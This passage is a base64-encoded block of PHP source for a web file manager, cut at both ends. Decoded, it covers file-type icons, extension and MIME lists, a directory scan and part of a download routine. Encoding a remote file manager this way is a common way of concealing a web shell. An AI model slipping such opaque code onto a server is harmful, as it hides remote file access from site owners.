cmluZyAkc3RyaW5nCiAqIEByZXR1cm4gaW50CiAqLwpmdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpCnsKICAgIHJldHVybiBwcmVnX21hdGNoKCcvL3UnLCAkc3RyaW5nKTsKfQoKLyoqCiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3MKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2NvbnZlcnRfd2luKCRmaWxlbmFtZSkKewogICAgaWYgKEZNX0lTX1dJTiAmJiBmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAkZmlsZW5hbWUgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGZpbGVuYW1lKTsKICAgIH0KICAgIHJldHVybiAkZmlsZW5hbWU7Cn0KCi8qKgogKiBAcGFyYW0gJG9iagogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iaikKewogICAgaWYgKCFpc19vYmplY3QoJG9iaikgJiYgIWlzX2FycmF5KCRvYmopKSB7CiAgICAgICAgcmV0dXJuICRvYmo7CiAgICB9CiAgICBpZiAoaXNfb2JqZWN0KCRvYmopKSB7CiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTsKICAgIH0KICAgIHJldHVybiBhcnJheV9tYXAoJ2ZtX29iamVjdF90b19hcnJheScsICRvYmopOwp9CgovKioKICogR2V0IENTUyBjbGFzc25hbWUgZm9yIGZpbGUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCkKewogICAgLy8gZ2V0IGV4dGVuc2lvbgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoKICAgIHN3aXRjaCAoJGV4dCkgewogICAgICAgIGNhc2UgJ2ljbyc6CiAgICAgICAgY2FzZSAnZ2lmJzoKICAgICAgICBjYXNlICdqcGcnOgogICAgICAgIGNhc2UgJ2pwZWcnOgogICAgICAgIGNhc2UgJ2pwYyc6CiAgICAgICAgY2FzZSAnanAyJzoKICAgICAgICBjYXNlICdqcHgnOgogICAgICAgIGNhc2UgJ3hibSc6CiAgICAgICAgY2FzZSAnd2JtcCc6CiAgICAgICAgY2FzZSAncG5nJzoKICAgICAgICBjYXNlICdibXAnOgogICAgICAgIGNhc2UgJ3RpZic6CiAgICAgICAgY2FzZSAndGlmZic6CiAgICAgICAgY2FzZSAnd2VicCc6CiAgICAgICAgY2FzZSAnYXZpZic6CiAgICAgICAgY2FzZSAnc3ZnJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwYXNzd2QnOgogICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzoKICAgICAgICBjYXNlICdzcWwnOgogICAgICAgIGNhc2UgJ2pzJzoKICAgICAgICBjYXNlICd0cyc6CiAgICAgICAgY2FzZSAnanN4JzoKICAgICAgICBjYXNlICd0c3gnOgogICAgICAgIGNhc2UgJ2hicyc6CiAgICAgICAgY2FzZSAnanNvbic6CiAgICAgICAgY2FzZSAnc2gnOgogICAgICAgIGNhc2UgJ2NvbmZpZyc6CiAgICAgICAgY2FzZSAndHdpZyc6CiAgICAgICAgY2FzZSAndHBsJzoKICAgICAgICBjYXNlICdtZCc6CiAgICAgICAgY2FzZSAnZ2l0aWdub3JlJzoKICAgICAgICBjYXNlICdjJzoKICAgICAgICBjYXNlICdjcHAnOgogICAgICAgIGNhc2UgJ2NzJzoKICAgICAgICBjYXNlICdweSc6CiAgICAgICAgY2FzZSAncnMnOgogICAgICAgIGNhc2UgJ21hcCc6CiAgICAgICAgY2FzZSAnbG9jayc6CiAgICAgICAgY2FzZSAnZHRkJzoKICAgICAgICBjYXNlICdwczEnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtY29kZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndHh0JzoKICAgICAgICBjYXNlICdpbmknOgogICAgICAgIGNhc2UgJ2NvbmYnOgogICAgICAgIGNhc2UgJ2xvZyc6CiAgICAgICAgY2FzZSAnaHRhY2Nlc3MnOgogICAgICAgIGNhc2UgJ3lhbWwnOgogICAgICAgIGNhc2UgJ3ltbCc6CiAgICAgICAgY2FzZSAndG9tbCc6CiAgICAgICAgY2FzZSAndG1wJzoKICAgICAgICBjYXNlICd0b3AnOgogICAgICAgIGNhc2UgJ2JvdCc6CiAgICAgICAgY2FzZSAnZGF0JzoKICAgICAgICBjYXNlICdiYWsnOgogICAgICAgIGNhc2UgJ2h0cGFzc3dkJzoKICAgICAgICBjYXNlICdwbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS10ZXh0LW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdjc3MnOgogICAgICAgIGNhc2UgJ2xlc3MnOgogICAgICAgIGNhc2UgJ3Nhc3MnOgogICAgICAgIGNhc2UgJ3Njc3MnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNzczMnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdiejInOgogICAgICAgIGNhc2UgJ3RiejInOgogICAgICAgIGNhc2UgJ3Rieic6CiAgICAgICAgY2FzZSAnemlwJzoKICAgICAgICBjYXNlICdyYXInOgogICAgICAgIGNhc2UgJ2d6JzoKICAgICAgICBjYXNlICd0Z3onOgogICAgICAgIGNhc2UgJ3Rhcic6CiAgICAgICAgY2FzZSAnN3onOgogICAgICAgIGNhc2UgJ3h6JzoKICAgICAgICBjYXNlICd0eHonOgogICAgICAgIGNhc2UgJ3pzdCc6CiAgICAgICAgY2FzZSAndHpzdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1hcmNoaXZlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwaHAnOgogICAgICAgIGNhc2UgJ3BocDQnOgogICAgICAgIGNhc2UgJ3BocDUnOgogICAgICAgIGNhc2UgJ3BocHMnOgogICAgICAgIGNhc2UgJ3BodG1sJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jb2RlJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaHRtJzoKICAgICAgICBjYXNlICdodG1sJzoKICAgICAgICBjYXNlICdzaHRtbCc6CiAgICAgICAgY2FzZSAneGh0bWwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWh0bWw1JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAneG1sJzoKICAgICAgICBjYXNlICd4c2wnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3dhdic6CiAgICAgICAgY2FzZSAnbXAzJzoKICAgICAgICBjYXNlICdtcDInOgogICAgICAgIGNhc2UgJ200YSc6CiAgICAgICAgY2FzZSAnYWFjJzoKICAgICAgICBjYXNlICdvZ2cnOgogICAgICAgIGNhc2UgJ29nYSc6CiAgICAgICAgY2FzZSAnd21hJzoKICAgICAgICBjYXNlICdta2EnOgogICAgICAgIGNhc2UgJ2ZsYWMnOgogICAgICAgIGNhc2UgJ2FjMyc6CiAgICAgICAgY2FzZSAndGRzJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1tdXNpYyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ20zdSc6CiAgICAgICAgY2FzZSAnbTN1OCc6CiAgICAgICAgY2FzZSAncGxzJzoKICAgICAgICBjYXNlICdjdWUnOgogICAgICAgIGNhc2UgJ3hzcGYnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdhdmknOgogICAgICAgIGNhc2UgJ21wZyc6CiAgICAgICAgY2FzZSAnbXBlZyc6CiAgICAgICAgY2FzZSAnbXA0JzoKICAgICAgICBjYXNlICdtNHYnOgogICAgICAgIGNhc2UgJ2Zsdic6CiAgICAgICAgY2FzZSAnZjR2JzoKICAgICAgICBjYXNlICdvZ20nOgogICAgICAgIGNhc2UgJ29ndic6CiAgICAgICAgY2FzZSAnbW92JzoKICAgICAgICBjYXNlICdta3YnOgogICAgICAgIGNhc2UgJzNncCc6CiAgICAgICAgY2FzZSAnYXNmJzoKICAgICAgICBjYXNlICd3bXYnOgogICAgICAgIGNhc2UgJ3dlYm0nOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdmlkZW8tbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VtbCc6CiAgICAgICAgY2FzZSAnbXNnJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAneGxzJzoKICAgICAgICBjYXNlICd4bHN4JzoKICAgICAgICBjYXNlICdvZHMnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2Nzdic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS10ZXh0LW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdiYWsnOgogICAgICAgIGNhc2UgJ3N3cCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZG9jJzoKICAgICAgICBjYXNlICdkb2N4JzoKICAgICAgICBjYXNlICdvZHQnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtd29yZC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncHB0JzoKICAgICAgICBjYXNlICdwcHR4JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3R0Zic6CiAgICAgICAgY2FzZSAndHRjJzoKICAgICAgICBjYXNlICdvdGYnOgogICAgICAgIGNhc2UgJ3dvZmYnOgogICAgICAgIGNhc2UgJ3dvZmYyJzoKICAgICAgICBjYXNlICdlb3QnOgogICAgICAgIGNhc2UgJ2Zvbic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3BkZic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3BzZCc6CiAgICAgICAgY2FzZSAnYWknOgogICAgICAgIGNhc2UgJ2Vwcyc6CiAgICAgICAgY2FzZSAnZmxhJzoKICAgICAgICBjYXNlICdzd2YnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtaW1hZ2Utbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2V4ZSc6CiAgICAgICAgY2FzZSAnbXNpJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdiYXQnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLXRlcm1pbmFsJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1pbmZvLWNpcmNsZSc7CiAgICB9CgogICAgcmV0dXJuICRpbWc7Cn0KCi8qKgogKiBHZXQgaW1hZ2UgZmlsZXMgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfaW1hZ2VfZXh0cygpCnsKICAgIHJldHVybiBhcnJheSgnaWNvJywgJ2dpZicsICdqcGcnLCAnanBlZycsICdqcGMnLCAnanAyJywgJ2pweCcsICd4Ym0nLCAnd2JtcCcsICdwbmcnLCAnYm1wJywgJ3RpZicsICd0aWZmJywgJ3BzZCcsICdzdmcnLCAnd2VicCcsICdhdmlmJyk7Cn0KCi8qKgogKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfdmlkZW9fZXh0cygpCnsKICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7Cn0KCi8qKgogKiBHZXQgYXVkaW8gZmlsZXMgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpCnsKICAgIHJldHVybiBhcnJheSgnd2F2JywgJ21wMycsICdvZ2cnLCAnbTRhJyk7Cn0KCi8qKgogKiBHZXQgdGV4dCBmaWxlIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RleHRfZXh0cygpCnsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAndHh0JywKICAgICAgICAnY3NzJywKICAgICAgICAnaW5pJywKICAgICAgICAnY29uZicsCiAgICAgICAgJ2xvZycsCiAgICAgICAgJ2h0YWNjZXNzJywKICAgICAgICAncGFzc3dkJywKICAgICAgICAnZnRwcXVvdGEnLAogICAgICAgICdzcWwnLAogICAgICAgICdqcycsCiAgICAgICAgJ3RzJywKICAgICAgICAnanN4JywKICAgICAgICAndHN4JywKICAgICAgICAnbWpzJywKICAgICAgICAnanNvbicsCiAgICAgICAgJ3NoJywKICAgICAgICAnY29uZmlnJywKICAgICAgICAncGhwJywKICAgICAgICAncGhwNCcsCiAgICAgICAgJ3BocDUnLAogICAgICAgICdwaHBzJywKICAgICAgICAncGh0bWwnLAogICAgICAgICdodG0nLAogICAgICAgICdodG1sJywKICAgICAgICAnc2h0bWwnLAogICAgICAgICd4aHRtbCcsCiAgICAgICAgJ3htbCcsCiAgICAgICAgJ3hzbCcsCiAgICAgICAgJ20zdScsCiAgICAgICAgJ20zdTgnLAogICAgICAgICdwbHMnLAogICAgICAgICdjdWUnLAogICAgICAgICdiYXNoJywKICAgICAgICAndnVlJywKICAgICAgICAnZW1sJywKICAgICAgICAnbXNnJywKICAgICAgICAnY3N2JywKICAgICAgICAnYmF0JywKICAgICAgICAndHdpZycsCiAgICAgICAgJ3RwbCcsCiAgICAgICAgJ21kJywKICAgICAgICAnZ2l0aWdub3JlJywKICAgICAgICAnbGVzcycsCiAgICAgICAgJ3Nhc3MnLAogICAgICAgICdzY3NzJywKICAgICAgICAnYycsCiAgICAgICAgJ2NwcCcsCiAgICAgICAgJ2NzJywKICAgICAgICAncHknLAogICAgICAgICdnbycsCiAgICAgICAgJ3pzaCcsCiAgICAgICAgJ3N3aWZ0JywKICAgICAgICAnbWFwJywKICAgICAgICAnbG9jaycsCiAgICAgICAgJ2R0ZCcsCiAgICAgICAgJ3N2ZycsCiAgICAgICAgJ2FzcCcsCiAgICAgICAgJ2FzcHgnLAogICAgICAgICdhc3gnLAogICAgICAgICdhc214JywKICAgICAgICAnYXNoeCcsCiAgICAgICAgJ2pzcCcsCiAgICAgICAgJ2pzcHgnLAogICAgICAgICdjZ2knLAogICAgICAgICdkb2NrZXJmaWxlJywKICAgICAgICAncnVieScsCiAgICAgICAgJ3ltbCcsCiAgICAgICAgJ3lhbWwnLAogICAgICAgICd0b21sJywKICAgICAgICAndmhvc3QnLAogICAgICAgICdzY3B0JywKICAgICAgICAnYXBwbGVzY3JpcHQnLAogICAgICAgICdjc3gnLAogICAgICAgICdjc2h0bWwnLAogICAgICAgICdjKysnLAogICAgICAgICdjb2ZmZWUnLAogICAgICAgICdjZm0nLAogICAgICAgICdyYicsCiAgICAgICAgJ2dyYXBocWwnLAogICAgICAgICdtdXN0YWNoZScsCiAgICAgICAgJ2ppbmphJywKICAgICAgICAnaHR0cCcsCiAgICAgICAgJ2hhbmRsZWJhcnMnLAogICAgICAgICdqYXZhJywKICAgICAgICAnZXMnLAogICAgICAgICdlczYnLAogICAgICAgICdtYXJrZG93bicsCiAgICAgICAgJ3dpa2knLAogICAgICAgICd0bXAnLAogICAgICAgICd0b3AnLAogICAgICAgICdib3QnLAogICAgICAgICdkYXQnLAogICAgICAgICdiYWsnLAogICAgICAgICdodHBhc3N3ZCcsCiAgICAgICAgJ3BsJywKICAgICAgICAncHMxJwogICAgKTsKfQoKLyoqCiAqIEdldCBtaW1lIHR5cGVzIG9mIHRleHQgZmlsZXMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RleHRfbWltZXMoKQp7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ2FwcGxpY2F0aW9uL3htbCcsCiAgICAgICAgJ2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnLAogICAgICAgICdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnLAogICAgICAgICdpbWFnZS9zdmcreG1sJywKICAgICAgICAnbWVzc2FnZS9yZmM4MjInLAogICAgICAgICdhcHBsaWNhdGlvbi9qc29uJywKICAgICk7Cn0KCi8qKgogKiBHZXQgZmlsZSBuYW1lcyBvZiB0ZXh0IGZpbGVzIHcvbyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKCkKewogICAgcmV0dXJuIGFycmF5KAogICAgICAgICdsaWNlbnNlJywKICAgICAgICAncmVhZG1lJywKICAgICAgICAnYXV0aG9ycycsCiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsCiAgICAgICAgJ2NoYW5nZWxvZycsCiAgICApOwp9CgovKioKICogR2V0IG9ubGluZSBkb2NzIHZpZXdlciBzdXBwb3J0ZWQgZmlsZXMgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfb25saW5lVmlld2VyX2V4dHMoKQp7CiAgICByZXR1cm4gYXJyYXkoJ2RvYycsICdkb2N4JywgJ3hscycsICd4bHN4JywgJ3BkZicsICdwcHQnLCAncHB0eCcsICdhaScsICdwc2QnLCAnZHhmJywgJ3hwcycsICdyYXInLCAnb2R0JywgJ29kcycpOwp9CgovKioKICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLgogKiBAcGFyYW0gZXh0ZW5zaW9uIFRoZSBmaWxlIGV4dGVuc2lvbiBvZiB0aGUgZmlsZSB5b3Ugd2FudCB0byBnZXQgdGhlIG1pbWUgdHlwZSBmb3IuCiAqIEByZXR1cm4gc3RyaW5nfHN0cmluZ1tdIFRoZSBtaW1lIHR5cGUgb2YgdGhlIGZpbGUuCiAqLwpmdW5jdGlvbiBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKQp7CiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICdhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCc7CiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvbi9wZGYnOwogICAgJGZpbGVUeXBlc1snZXhlJ10gPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgICRmaWxlVHlwZXNbJ3ppcCddID0gJ2FwcGxpY2F0aW9uL3ppcCc7CiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvbi9tc3dvcmQnOwogICAgJGZpbGVUeXBlc1sneGxzJ10gPSAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJzsKICAgICRmaWxlVHlwZXNbJ3BwdCddID0gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1wb3dlcnBvaW50JzsKICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlL2dpZic7CiAgICAkZmlsZVR5cGVzWydwbmcnXSA9ICdpbWFnZS9wbmcnOwogICAgJGZpbGVUeXBlc1snanBlZyddID0gJ2ltYWdlL2pwZyc7CiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZS9qcGcnOwogICAgJGZpbGVUeXBlc1snd2VicCddID0gJ2ltYWdlL3dlYnAnOwogICAgJGZpbGVUeXBlc1snYXZpZiddID0gJ2ltYWdlL2F2aWYnOwogICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb24vcmFyJzsKCiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJzsKICAgICRmaWxlVHlwZXNbJ3JhbSddID0gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJzsKICAgICRmaWxlVHlwZXNbJ29nZyddID0gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJzsKCiAgICAkZmlsZVR5cGVzWyd3YXYnXSA9ICd2aWRlby94LW1zdmlkZW8nOwogICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ2F2aSddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CiAgICAkZmlsZVR5cGVzWydhc2YnXSA9ICd2aWRlby94LW1zdmlkZW8nOwogICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CgogICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcDQnXSA9ICdhdWRpby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21wZyddID0gJ3ZpZGVvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbXBlJ10gPSAndmlkZW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snc3dmJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJzNncCddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snYWFjJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ20zdSddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CgogICAgJGZpbGVUeXBlc1sncGhwJ10gPSBbJ2FwcGxpY2F0aW9uL3gtcGhwJ107CiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHQvaHRtbCddOwogICAgJGZpbGVUeXBlc1sndHh0J10gPSBbJ3RleHQvcGxhaW4nXTsKICAgIC8vVW5rbm93biBtaW1lLXR5cGVzIHNob3VsZCBiZSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJwogICAgaWYgKGVtcHR5KCRmaWxlVHlwZXNbJGV4dGVuc2lvbl0pKSB7CiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJ107CiAgICB9CiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTsKfQoKLyoqCiAqIFRoaXMgZnVuY3Rpb24gc2NhbnMgdGhlIGZpbGVzIGFuZCBmb2xkZXIgcmVjdXJzaXZlbHksIGFuZCByZXR1cm4gbWF0Y2hpbmcgZmlsZXMKICogQHBhcmFtIHN0cmluZyAkZGlyCiAqIEBwYXJhbSBzdHJpbmcgJGZpbHRlcgogKiBAcmV0dXJuIGFycmF5fG51bGwKICovCmZ1bmN0aW9uIHNjYW4oJGRpciA9ICcnLCAkZmlsdGVyID0gJycpCnsKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGRpcjsKICAgIGlmICgkcGF0aCkgewogICAgICAgICRpdGUgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHBhdGgpKTsKICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7CgogICAgICAgICRmaWxlcyA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHJpaSBhcyAkZmlsZSkgewogICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAkZmlsZU5hbWUgPSAkZmlsZS0+Z2V0RmlsZW5hbWUoKTsKICAgICAgICAgICAgICAgICRsb2NhdGlvbiA9IHN0cl9yZXBsYWNlKEZNX1JPT1RfUEFUSCwgJycsICRmaWxlLT5nZXRQYXRoKCkpOwogICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAibmFtZSIgPT4gJGZpbGVOYW1lLAogICAgICAgICAgICAgICAgICAgICJ0eXBlIiA9PiAiZmlsZSIsCiAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRsb2NhdGlvbiwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRmaWxlczsKICAgIH0KfQoKLyoqCiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsCiAqIG1heCBzcGVlZCwgaXMgc3RyZWFtaW5nCiAqIElmIHN0cmVhbWluZyAtIHZpZGVvcyB3aWxsIHNob3cgYXMgdmlkZW9zLCBpbWFnZXMgYXMgaW1hZ2VzCiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0CiAqIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8xMzgyMTk5Mi8xMTY0NjQyCiAqLwpmdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KQp7CiAgICBpZiAoY29ubmVjdGlvbl9zdGF0dXMoKSAhPSAwKQogICAgICAgIHJldHVybiAoZmFsc2UpOwogICAgJGV4dGVuc2lvbiA9IHBhdGhpbmZvKCRmaWxlTmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsKCiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTsKCiAgICBpZiAoaXNfYXJyYXkoJGNvbnRlbnRUeXBlKSkgewogICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpOwogICAgfQoKICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7CgogICAgaWYgKCRzaXplID09IDApIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CgogICAgICAgIHJldHVybiAoZmFsc2UpOwogICAgfQoKICAgIEBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwogICAgJGZwID0gZm9wZW4oIiRmaWxlTG9jYXRpb24iLCAicmIiKTsKCiAgICBpZiAoJGZwID09PSBmYWxzZSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgICAgIHJldHVybiAoZmFsc2UpOwogICAgfQoKICAgIC8vIGhlYWRlcnMKICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7CiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpOwogICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOwogICAgaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnkiKTsKICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGUiKTsKCiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnOwoKICAgIGlmIChzdHJzdHIoJF9TRVJWRVJbJ